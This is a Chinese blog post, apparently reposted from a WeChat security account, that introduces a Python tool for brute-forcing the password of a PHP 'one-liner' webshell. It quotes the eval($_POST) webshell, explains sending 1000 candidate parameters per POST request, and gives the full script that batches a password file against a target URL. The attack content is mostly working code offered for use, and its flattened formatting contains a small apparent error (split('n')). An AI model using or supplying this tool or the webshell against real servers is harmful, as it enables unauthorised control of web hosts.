原理
先来看一句话
1 2 3 |
<?php eval($_POST['X']); ?> |
普通的一句话破解工具是一次提交一个参数
1 |
xx=xx |
这样1000个密码,得提交1000次POST
我写的工具一次提交1000个参数
1 |
xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx&xx=xx |
这就是原理
CODE
#!/usr/bin/python # -*- coding: utf-8 -*- # -*- author: Wd0g -*-
import requests
def makeList(): passNum = 1000 passFile = open('./passwd.txt','r+') passList = passFile.read().split('n') passFile.close() for i in range(1,int(len(passList)/passNum)+2): r = passNum * i l = r - passNum yield passList[l:r]
def makePost(passList): code = [] for pwd in passList: code .append((pwd, "print(%s);" % pwd)) return code
def run(url): for passList in makeList(): response = requests.post(url,data=makePost(passList)) if response.text != '': print(response.text) break
run('http://test.com/index.php') |
其他
如果成功,会直接输出结果
我本地的环境是PY3.5,需要下载requests模块
这个只是我自己测试的时候写的代码
有空优化下
本文始发于微信公众号(飓风网络安全):PHP一句话破解工具-(每秒1000+)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论